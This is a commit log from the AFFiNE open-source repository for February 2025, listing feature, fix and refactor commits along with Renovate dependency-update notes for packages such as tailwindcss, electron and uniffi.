https://github.com/user-attachments/assets/dac11aab-76bd-44b1-8c0e-4a8a10919841
2025-02-10 07:41:10 +00:00
doodlewind
1d1eab8139 fix(editor): workaround empty text in insertText (#10049)
`sentry-5a32bef4f2724b5f8e6f31791cb20feb`
2025-02-10 07:24:26 +00:00
Oleg
d4f0c53a0c feat(core): frame editor settings (#9970)
Co-authored-by: L-Sun <zover.v@gmail.com>
Co-authored-by: Mirone <Saul-Mirone@outlook.com>
2025-02-10 15:23:32 +08:00
Brooooooklyn
03b806384c ci: fix doc deployment container port (#10048) 2025-02-10 07:06:10 +00:00
forehalo
c3f5b4abb4 test(server): utils (#10028) 2025-02-10 06:35:11 +00:00
Flrande
8f6b512cfd feat(editor): update edgeless media entry icon and anime (#10047) 2025-02-10 05:59:07 +00:00
doodlewind
614ae024c2 fix(editor): workaround empty content in worker renderer (#10043) 2025-02-10 03:35:50 +00:00
EYHN
92f4f0c2d9 feat(core): guard service (#9816) 2025-02-09 23:26:38 +00:00
EYHN
879157b938 fix(core): hide export tab on mobile (#10038) 2025-02-09 20:36:25 +08:00
fengmk2
09b5eb60eb refactor(server): handle ConnectedAccount on user model (#10030) 2025-02-09 08:31:02 +00:00
Brooooooklyn
18513c6e55 chore: make DOC_SERVICE_ENDPOINT dynamic computed (#10029) 2025-02-08 05:27:57 +00:00
fengmk2
e5d1cd9ea2 feat(server): use doc service (#9967)
close CLOUD-94
2025-02-08 05:27:56 +00:00
zzj3720
ee0df52531 feat(editor): table block supports copy and paste in HTML format (#10020)
close: BS-2483
2025-02-08 04:40:12 +00:00
fengmk2
5d62c5e85c feat(server): implement doc service (#9961)
close CLOUD-94
2025-02-08 03:37:41 +00:00
JimmFly
5ae5fd88f1 feat(core): add doc grant feature to share menu (#9672) 2025-02-07 13:05:58 +00:00
L-Sun
459972fe6c fix(editor): add missing zod schema for edgeless frame (#10024)
Related to https://github.com/toeverything/AFFiNE/pull/9970#discussion_r1944971309

### What changes:
- Add missing zod shcema for edgeless basic props
- Change `applyLastProps` to generic function for better return type inference of
- Fix: add `ZodIntersection` case to `makeDeepOptional`
2025-02-07 12:49:59 +00:00
fengmk2
36ed81bcc6 refactor(server): use doc model on PgWorkspaceDocStorageAdapter (#9852)
close CLOUD-104
2025-02-07 12:21:58 +00:00
forehalo
0b9d30b55a refactor: rename all page query to doc (#10019) 2025-02-07 11:40:59 +00:00
Brooooooklyn
4e00ddd5f1 feat(server): graceful shutdown for AI streams (#10025)
https://github.com/user-attachments/assets/8dd3c4f5-4059-4f03-9f51-68078d7ab5c4
2025-02-07 11:25:02 +00:00
donteatfriedrice
0df94b8e35 fix(core): typo (#10022)
[BS-2532](https://linear.app/affine-design/issue/BS-2532/typo-tidy-a-article-with-ai-mindmap-action-tidy-an-article-with-xxxxx)
2025-02-07 11:09:00 +00:00
Brooooooklyn
1fda17af64 chore: remove depracated package (#10018) 2025-02-07 10:38:58 +00:00
donteatfriedrice
b38389c670 feat(core): add tooltip for import dialog snapshot item (#10013)
[PD-2132](https://linear.app/affine-design/issue/PD-2132/import-导入优化:snapshot-需要一个问号,解释文档)
2025-02-07 10:23:59 +00:00
JimmFly
d5a626d9c3 feat(core): optimize team workspace member management (#9737)
close AF-2106 AF-2077 AF-2089

feat(core): handle need more seat status

feat(core): prevent invite members when team plan is canceled
2025-02-07 10:08:00 +00:00
CatsJuice
85d916f1eb feat(mobile): create from template on mobile (#9968) 2025-02-07 09:52:59 +00:00
CatsJuice
527878a55c chore(core): allow to rename and add multiple template property (#9972) 2025-02-07 09:36:58 +00:00
CatsJuice
b4f078b9c9 feat(core): add deleted state for sidebar journal template (#9980) 2025-02-07 09:09:58 +00:00
Brooooooklyn
2ed54ad421 test(server): grant doc user roles (#10016) 2025-02-07 08:54:27 +00:00
Brooooooklyn
9262cb120c test(server): update page default role with non-exists workspace (#10012) 2025-02-07 08:27:58 +00:00
CatsJuice
f13aac7331 chore(core): adjust starter-bar badge size (#9976) 2025-02-07 08:01:58 +00:00
forehalo
4b1c931503 fix(server): default page owner (#10015) 2025-02-07 07:31:56 +00:00
pengx17
9fd547d484 chore(core): upload flaky test traces (#9974) 2025-02-07 15:15:45 +08:00
Yifeng Wang
fc4fe481ef refactor(editor): improve worker renderer code structure (#10011) 2025-02-07 14:59:08 +08:00
Flrande
7eb1ed170c feat(editor): add edgeless media entry (#9949) 2025-02-07 06:10:11 +00:00
forehalo
12cc94f32a fix(server): batch grant page roles (#10007) 2025-02-07 05:55:07 +00:00
Yifeng Wang
b9ad53ae68 feat(editor): support reusing bitmap cache when panning (#10008) 2025-02-07 04:59:43 +00:00
pengx17
3f0a9f4433 feat(core): index table block types (#9989)
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/b7eeb6fa-75b7-453a-9faa-5f6e9701089b.png)

fix BS-2520
2025-02-07 04:04:27 +00:00
liuyi
00b1f01f9b feat(server): add public user type (#10006) 2025-02-07 04:03:59 +00:00
JimmFly
e68bdbde3e feat(core): add self host team plan (#9569) 2025-02-07 03:35:24 +00:00
Brooooooklyn
5710e8c639 fix(server): generate migration for workspace pages default role (#10002) 2025-02-07 03:16:54 +00:00
renovate
d45d6d8a61 chore: bump up all non-major dependencies (#9996)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.741.0` -> `3.743.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.741.0/3.743.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.741.0/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.741.0/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsemantic-conventions/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsemantic-conventions/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsemantic-conventions/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsemantic-conventions/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | [`4.0.3` -> `4.0.4`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.0.3/4.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tailwindcss%2fpostcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tailwindcss%2fpostcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tailwindcss%2fpostcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tailwindcss%2fpostcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [electron](https://redirect.github.com/electron/electron) | [`34.1.0` -> `34.1.1`](https://renovatebot.com/diffs/npm/electron/34.1.0/34.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/34.1.0/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/34.1.0/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [once_cell](https://redirect.github.com/matklad/once_cell) | `1.20.2` -> `1.20.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`2.3.1` -> `2.3.2`](https://renovatebot.com/diffs/npm/shiki/2.3.1/2.3.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/2.3.1/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/2.3.1/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.3` -> `4.0.4`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.3/4.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.3` -> `4.0.4`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.3/4.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [uniffi](https://mozilla.github.io/uniffi-rs) ([source](https://redirect.github.com/mozilla/uniffi-rs)) | `0.28` -> `0.29` | [![age](https://developer.mend.io/api/mc/badges/age/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.743.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37430-2025-02-06)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.741.0...v3.743.0)

##### Features

-   **client-s3:** Updated list of the valid AWS Region values for the LocationConstraint parameter for general purpose buckets. ([794f4b5](794f4b5cd8))

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/semantic-conventions)</summary>

### [`v1.29.0`](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/HEAD/CHANGELOG.md#1290)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.28.0...v1.29.0)

##### 💥 Breaking Change

-   feat(sdk-metrics): Add support for aggregation cardinality limit with a default limit of 2000. This limit can be customized via views [#&#8203;5182](https://redirect.github.com/open-telemetry/opentelemetry-js/pull/5128)

</details>

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.0.4`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#404---2025-02-06)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.3...v4.0.4)

##### Fixed

-   Fix a crash when setting JS theme values to `null` ([#&#8203;16210](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16210))
-   Ensure escaped underscores in CSS variables in arbitrary values are properly unescaped ([#&#8203;16206](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16206))
-   Ensure that the `containers` JS theme key is added to the `--container-*` namespace ([#&#8203;16169](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16169))
-   Ensure theme `@keyframes` are generated even if an `--animation-*` variable spans multiple lines ([#&#8203;16237](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16237))
-   Vite: Skip parsing stylesheets with the `?commonjs-proxy` flag ([#&#8203;16238](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16238))
-   Fix `order-first` and `order-last` for Firefox ([#&#8203;16266](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16266))
-   Fix support for older instruction sets on Linux x64 builds of the standalone CLI ([#&#8203;16244](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16244))
-   Ensure `NODE_PATH` is respected when resolving JavaScript and CSS files ([#&#8203;16274](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16274))
-   Ensure Node addons are packaged correctly with FreeBSD builds ([#&#8203;16277](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16277))
-   Fix an issue where `@variant` inside a referenced stylesheet could cause a stack overflow ([#&#8203;16300](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16300))

</details>

<details>
<summary>electron/electron (electron)</summary>

### [`v34.1.1`](https://redirect.github.com/electron/electron/releases/tag/v34.1.1): electron v34.1.1

[Compare Source](https://redirect.github.com/electron/electron/compare/v34.1.0...v34.1.1)

### Release Notes for v34.1.1

#### Other Changes

-   Backported fix for [`3872580`](https://redirect.github.com/electron/electron/commit/387258077),383070811. [#&#8203;45497](https://redirect.github.com/electron/electron/pull/45497)

</details>

<details>
<summary>matklad/once_cell (once_cell)</summary>

### [`v1.20.3`](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

[Compare Source](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v2.3.2`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.3.2)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.3.1...v2.3.2)

#####    🚀 Features

-   Update grammars  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(4c9ab)</samp>](https://redirect.github.com/shikijs/shiki/commit/4c9ab999)

#####    🐞 Bug Fixes

-   **monaco**: Handle colors in array  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(e3018)</samp>](https://redirect.github.com/shikijs/shiki/commit/e30181b5)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.3.1...v2.3.2)

</details>

<details>
<summary>mozilla/uniffi-rs (uniffi)</summary>

### [`v0.29.0`](https://redirect.github.com/mozilla/uniffi-rs/blob/HEAD/CHANGELOG.md#v0290-backend-crates-v0290---2025-02-06)

[Compare Source](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0)

##### ⚠️ Breaking Changes ⚠️

We've made a number of breaking changes to fix long standing paper-cuts with UniFFI in multi-crate and procmacro+udl environments.

[See the detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

While **no changes are required to foreign code**, we apologize for the inconvenience!

You are impacted if you use `UniffiCustomTypeConverter` to implement "Custom types",
or use UDL with types from more than one crate.

-   `UniffiCustomTypeConverter` has been removed, you must now use the
    [`custom_type!` macro](https://mozilla.github.io/uniffi-rs/next/types/custom_types.html) instead.

-   The [UDL syntax for external types](https://mozilla.github.io/uniffi-rs/next/udl/external_types.html) has changed.
    `typedef extern MyEnum;` has been replaced
    with `typedef enum MyEnum;`. `[Custom]` and `[External]` are the only supported  attributes for a `typedef`.

-   "remote" types (where UDL can re-export a type defined in
    a non-UniFFI crate - eg, `log::Level`) must now use a
    [`[Remote]` attribute](https://mozilla.github.io/uniffi-rs/next/types/remote_ext_types.html).

-   Various `use_udl_*`/`use_remote_type` etc macros have been removed.

[Detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

-   `uniffi::generate_component_scaffolding` has been removed. It's almost certainly unused as it is
    behind the wrong feature and undocumented. `uniffi::generate_scaffolding` does exacly the same thing and is
    correctly behind the `build` feature.

##### What's new?

-   Kotlin and Swift follow Python: Proc-macros exporting an `impl Trait for Struct` block now has a class inheritance
    hierarcy to reflect that.
    [#&#8203;2297](https://redirect.github.com/mozilla/uniffi-rs/pull/2297), [#&#8203;2363](https://redirect.github.com/mozilla/uniffi-rs/pull/2363)

-   External types work much better, particularly between UDL and proc-macros. (Kotlin external errors do not work - [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392)).

-   Swift interfaces are marked as `Sendable` ([#&#8203;2318](https://redirect.github.com/mozilla/uniffi-rs/pull/2318))

-   Removed the `log` dependency and logging statements about FFI calls.  These were not really useful
    to consumers and could have high overhead when lots of FFI calls are made. Instead, the
    `ffi-trace` feature can be used to get tracing-style printouts about the FFI.

-   External errors work for Swift and Python. Kotlin does not work - see [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392).

-   Added `disable_java_cleaner` option for kotlin to allow for Java 8 compatible code

-   Proc-macros now allow Enums to hold objects ([#&#8203;1372](https://redirect.github.com/mozilla/uniffi-rs/issues/1372))

-   Swift and Kotlin make it possible to opt-out of the runtime checksum integrity tests done as the library is initialized.
    Opting out will shoot yourself in the foot if you mixup your build pipeline in any way, but might speed the initialization.
    (Python apparently hasn't made these checks for some time, so no changes there!)

##### What's changed?

-   Switching jinja template engine from askama to rinja.

-   For `wasm32` build targets, `Future`s do not have to be `Send` ([#&#8203;2418](https://redirect.github.com/mozilla/uniffi-rs/pull/2418)),
    making them compatible with `wasm-bindgen` `Future`s.

##### ⚠️ Breaking Changes for external bindings authors ⚠️

-   Added the `FfiType::MutReference` variant.

-   `Callable` trait has changed, `return_type` and `throws_type` are now references.

-   `Type::External` has been removed. Binding authors must now check the type is local themselves before
    deciding to treat it as a local or external type.

    To get a feel for the impact on the bindings, see where we [first did this for custom types](c5a437e9f3),
    and where we [then stopped using it entirely](df514fd1cc)

[All changes in v0.29.0](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-07 03:02:26 +00:00
forehalo
c673088cc6 feat(nbstore): use polling as ios websocket transport (#10001) 2025-02-07 02:44:52 +00:00
pengx17
61d2cec913 fix(core): remove suspense from image preview (#9981) 2025-02-07 02:30:22 +00:00
fengmk2
1e83a056fc feat(server): add request id on cluster event (#9998) 2025-02-07 02:06:53 +00:00
L-Sun
891d9df0b1 feat(editor): show doc title in page block (#9975)
Close [BS-2392](https://linear.app/affine-design/issue/BS-2392/page-block-需要显示文章title)

### What Changes
- Add `<doc-title>` to edgeless page block (a.k.a the first page visible note block)
- Refactors:
  - Move `<doc-title>` to `@blocksuite/affine-component`, but you can aslo import it from `@blocksuite/preset`
  - Extract `<edgeless-note-mask>` and `<edgeless-note-background>` from `<affine-edgeless-note>` to a seperate file
  - Rewrite styles of `<affine-edgeless-note>` with `@vanilla-extract/css`

https://github.com/user-attachments/assets/a0c03239-803e-4bfa-b30e-33b919213b12
2025-02-06 21:18:28 +00:00
Brooooooklyn
41107eafae feat(server): allow to set default role in page (#9963) 2025-02-06 17:18:50 +00:00
L-Sun
f309f8f3e1 fix(ios): incorrect return of getBlob binding in ios (#9995) 2025-02-06 17:03:51 +00:00
Saul-Mirone
5b750bbba4 feat(editor): support delete in flat block proxy (#9994) 2025-02-06 16:30:06 +00:00
pengx17
86de184593 fix(electron): split view drag indicator tooltip (#9979)
fix PD-2244
2025-02-06 16:14:54 +00:00
forehalo
2ff31c6274 build(component): fix component storybook (#9990) 2025-02-06 15:58:10 +00:00
zzj3720
1652e6df6b fix(editor): some UI bugs of table block (#9987)
close: BS-2507, BS-2508, BS-2511, BS-2519, BS-2523
2025-02-06 15:42:05 +00:00
forehalo
7c7febd495 refactor(server): remove never used column in page permission (#9985) 2025-02-06 10:52:05 +00:00
pengx17
d7da12597a fix(core): use divider component to replace height dividers (#9986) 2025-02-06 10:37:05 +00:00
pengx17
5066f50c4f fix(editor): should focus the textarea will clicking the chat input box (#9983)
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/0fc4ec8d-85ba-486b-9d1e-854eff3c0dfc.png)

Clicking outside of the textarea should also focuses the textarea
2025-02-06 10:20:05 +00:00
pengx17
40305db838 fix(electron): webpack dev server reloading issue (#9978) 2025-02-06 10:05:08 +00:00
forehalo
e9afbbcdc5 fix(server): cannot revalidate licenses (#9982) 2025-02-06 09:48:02 +00:00
renovate
0aa9602d26 chore: bump up oxlint version to v0.15.10 (#9977)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.9` -> `0.15.10`](https://renovatebot.com/diffs/npm/oxlint/0.15.9/0.15.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.9/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.9/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.10`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.10): oxlint v0.15.10

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.9...oxlint_v0.15.10)

#### \[0.15.10] - 2025-02-06

-   [`b7ff7e1`](https://redirect.github.com/oxc-project/oxc/commit/b7ff7e1) span: \[**BREAKING**] Export `ContentEq` trait from root of `oxc_span` crate ([#&#8203;8869](https://redirect.github.com/oxc-project/oxc/issues/8869)) (overlookmotel)

##### Features

-   [`d6d80f7`](https://redirect.github.com/oxc-project/oxc/commit/d6d80f7) linter: Add suggestion fixer for `eslint/no-iterator` ([#&#8203;8894](https://redirect.github.com/oxc-project/oxc/issues/8894)) (dalaoshu)
-   [`7e8568b`](https://redirect.github.com/oxc-project/oxc/commit/7e8568b) linter: Junit reporter ([#&#8203;8756](https://redirect.github.com/oxc-project/oxc/issues/8756)) (Tapan Prakash)
-   [`f4662a9`](https://redirect.github.com/oxc-project/oxc/commit/f4662a9) oxc_language_server: Implement `oxc.fixAll` workspace command ([#&#8203;8858](https://redirect.github.com/oxc-project/oxc/issues/8858)) (Marek Vospel)

##### Bug Fixes

-   [`baf3e4e`](https://redirect.github.com/oxc-project/oxc/commit/baf3e4e) linter: Correctly replace rule severity with duplicate rule name configurations ([#&#8203;8840](https://redirect.github.com/oxc-project/oxc/issues/8840)) (dalaoshu)

##### Performance

-   [`8a4988d`](https://redirect.github.com/oxc-project/oxc/commit/8a4988d) linter: Use parallel iterator directly instead of iter and parallel bridge ([#&#8203;8831](https://redirect.github.com/oxc-project/oxc/issues/8831)) (Cam McHenry)

##### Refactor

-   [`bb9d763`](https://redirect.github.com/oxc-project/oxc/commit/bb9d763) linter: Remove usage of `url` crate ([#&#8203;8833](https://redirect.github.com/oxc-project/oxc/issues/8833)) (camchenry)
-   [`4fcf719`](https://redirect.github.com/oxc-project/oxc/commit/4fcf719) linter: Replace MIME guessing with extension check ([#&#8203;8832](https://redirect.github.com/oxc-project/oxc/issues/8832)) (camchenry)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 07:15:36 +00:00
forehalo
d873a78534 feat(server): align pro plan for free in selfhost (#9973)
close AF-2099
2025-02-06 05:25:06 +00:00
renovate
f00fb327e2 chore: bump up all non-major dependencies (#9810)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts)) | [`^0.9.0` -> `^0.10.0`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.9.1/0.10.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fprompts/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fprompts/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fprompts/0.9.1/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fprompts/0.9.1/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
